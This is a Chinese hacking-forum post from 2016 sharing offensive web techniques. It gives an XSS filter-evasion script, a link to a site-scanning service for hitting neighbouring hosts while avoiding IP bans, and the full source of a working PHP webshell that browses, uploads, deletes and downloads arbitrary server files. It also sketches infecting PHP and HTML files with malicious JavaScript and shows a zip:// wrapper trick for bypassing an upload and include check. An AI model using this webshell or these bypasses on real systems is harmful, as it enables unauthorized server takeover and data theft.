本帖最后由 SVK 于 2016-12-13 19:41 编辑
一、思路分享
先分享一个XSS构造思路。
首先我们知道php终极防XSS的办法就是htmlspecialchars();
但是有时候为了页面的丰富,很多社交网站不用使用类似这样函数。
所以动动脑子还是可以过防xss的正则。
这里提供一个思路:
[JavaScript] 纯文本查看 复制代码
<script>
var a = "htt";
var b = "p";
var u = "w";
var c = "baidu";
var b = "c";
var i = "o";
var p= "m";
var d = ".";
window.location.href=a+b+'://'+u+u+u+d+c+d+b+i+p;
</script>
可以说现在不少地网站还存在这个漏洞,大家发现了不要乱搞。
------------------
二、小技巧
所谓主站搞不下,搞旁站,旁站搞不下,扫c段,这里分享一个很好用的扫c段/旁站的网站,妈妈再也不用担心我的ip被ban了。
https://phpinfo.me/bing.php
------------------
三、分享一个自己写的简易webshell
[PHP] 纯文本查看 复制代码 <?php
header("content-type:text/html;charset=utf-8");
?>
//js
<script>
function jump(obj){
console.log(obj);
console.log(obj.getAttribute('value'));
console.log(obj.innerHTML);
document.getElementById("dirname").value=obj.getAttribute('value');
document.getElementById("bt").value="点击我进行跳转";
}
function jump2(obj){
document.getElementById("dirname").value=obj.innerHTML;
document.getElementById("bt").value="点击我进行跳转";
}
function del(){
<?php
if(is_file('00100.php'))
unlink('00100.php');
?>
}
</script>
<!-- 部署界面 -->
<body onbeforeunload=del() style='background-color:black; text-align:center'>
<div id='pw' style='margin:150px auto 0px; width:400px; height:100px; border:1px solid #F00; color:white; padding-top:20px '>
FarmSec WebShell<br>
请输入密码
<form action="" method="post">
<input type="password" name="password">
<input type="submit" id="button" value="登录">
</form>
</div>
<?php
//设置密码
$password="222";
if(@$_POST['password']==$password){
echo '<div style="width:1000px; margin:20px auto; border:1px solid #F00">';
//标题
echo '<div style="width:900px; margin:0 auto; color:white">';
echo '<h1 style="margin-bottom:0px">WebShell文件管理</h1>';
echo '农夫安全漏洞证明<br>';
echo "</div>";
//定义当前目录;
if(!isset($_POST['dirname'])){
$dirname=dirname(__FILE__);//getcwd();
}else{
$dirname=$_POST['dirname'];
//$dirname=preg_replace('/\\\\/', '/', $dirname);
//输出,win下默认编码gb2312,转成utf-8
//$dirname=iconv("gb2312", "utf-8", $dirname);
};
//储存木马所在目录名
@$ini=dirname(__FILE__);
$ini=preg_replace('/\\\\/', '/', $ini);
$ini=iconv("gb2312", "utf-8", $ini);
//遍历的主体程序
//隐藏验证密码界面
?>
<script>document.getElementById("pw").style.display="none"</script>
<!-- 部署界面 之 文件访问 -->
<div style="width:900px; margin:0 auto; color:white">
<form action="" method="post">
当前目录:<p1 id="dirname2"><?php echo $dirname; ?></p1><br>
输入目标文件目录<input type="text" id="dirname" name="dirname">
<input type="hidden" name="password" value=<?php echo $password ?>>
<input type="hidden" name="ini" value=<?php echo $ini ?>>
<input type="hidden" name="back2" value=<?php echo dirname($dirname); ?>>
<input type="submit" id="bt" value="进入">
<input type="button" id="" value="刷新">
<br><br>
<input type="button" id="" value="返回木马所在目录">
<input type="button" id="" value="上一层">
<br><br>
</form>
<form action="" method="post" enctype="multipart/form-data">
<input type="hidden" name="password" value=<?php echo $password ?>>
<input type="hidden" name="dirname" value=<?php echo $dirname ?>>
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
文件上传:<input type="file" name="file"/>
<input type="submit" value="走你"/>
</form>
</div>
<?php
//服务器文件输出区php代码
echo "<div style='color:white; width:1000px; padding-bottom:10px'>";
//删除文件
if(isset($_POST['delfile'])){
if(is_file($_POST['delfile']))
@$delfile=$_POST['delfile'];
if(is_file(@$delfile)){
unlink($delfile);
}else{
echo '<script>alert("只能删除单个文件")</script>';
}
}
//文件上传脚本
@move_uploaded_file($_FILES["file"]["tmp_name"],$_POST['dirname'].'/'. $_FILES["file"]["name"]);
//写新脚本,以便下载
$op=fopen("00100.php","w+");
fwrite($op, '<?php
$dirfile=$_GET["dirfile"];
header("Content-Disposition: attachment; filename=".$dirfile);
header("Content-length: ".filesize($dirfile));
readfile($dirfile);
?>');
fclose($op);
//文件管理主体-------------------------------
$dirname=iconv("utf-8", "gb2312", $dirname);
echo $dirname;
if(!@$dir_handle=opendir($dirname))
echo '目录下啥也木有 ORZ';
while(@$file=readdir($dir_handle)){
//遍历目录
if($file<>'.' && $file<>'..'){
echo '<div id="" style="border:1px solid #42E61A; width:300px; float:left; margin:15px">';
$dirfile=$dirname.'/'.$file;
$dirfile=preg_replace('/\\\\/', '/', $dirfile);
//输出,win下默认编码gb2312,转成utf-8
$dirfile=iconv("gb2312", "utf-8", $dirfile);
$file=iconv("gb2312", "utf-8", $file);
echo $file."<br>";
echo '<span id="" name="" value='.$dirfile.' style="color:red;">进入</span>';
;?>
<form action="" method="post" style="margin-bottom:0 ">
<input type="hidden" name="password" value=<?php echo $password ?>>
<input type="hidden" name="dirname" value=<?php echo $dirname ?>>
<input type="hidden" name="delfile" value=<?php echo $dirfile ?>>
<input type="submit" name="" value="删除" style="background-color:black; color:white; border: 0 ">
</form>
<?php
echo '<a href="00100.php?dirfile='.$dirfile.'" target="_blank">下载</a>';
echo '</div>';
};
};
echo "<div style='clear:both'></div>";
echo "</div>";
echo "</div>";
echo "</body>";
}elseif(isset($_POST['password'])){
echo"<script>alert('密码错误')</script>";
}
?>
注释没少写,可读性不算差吧,因为php还没完全入门,希望各位大大表喷我菜。
------------------
四、一个学习php时突发奇想。
用fopen,参数用a+,然后递归可以感染一堆php html文件,加入恶意js,算是php写另类木马吧,当然前提得可以传马。
------------------
五、上传突破的一个姿势
上次做ctf学到的,特此分享。
现在00截断已经众人所知,存在也少之又少了,一些cms限制包涵的后缀必须为.php时,代码例如:
[PHP] 纯文本查看 复制代码 $include_file=$_GET[include_file];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
{
require( $include_file );
}
对传递过来的截取了后面4个字符 判断是不是.php 如果是.php才进行包含。
这里就利用世界上最好的语言的伪协议(zip)
1、首先新建一个1.php 里面随便写个phpinfo把
2、然后压缩成.zip 然后把zip的名字改成 honker.jpg
3、然后把这个.jpg上传上去 然后包含
例如:include_file=zip://d:/xx/xxx/honker.jpg%231.php
%23是url编码后的#。
这样就可以成功包含了。
-------------------
以上分享仅供学习,本人不承担任何法律责任。
-----------------------
后记:
上一次申请加入太极基础组被拒绝以来,已经一个月多了。
我没有灰心,而是静下心来好好学习,就是希望能获得wuyan大表哥的肯定,希望可以加入太极基础组。
这段时间以来,很多事情都变了,可我对web安全的热情一分未减。
今天把学习时间抽出来写这个帖子,写的有点仓促,还望见谅
希望大家多多顶贴,我也不隐藏了。
最后祝ihonker越办越好,哈哈。加油!
|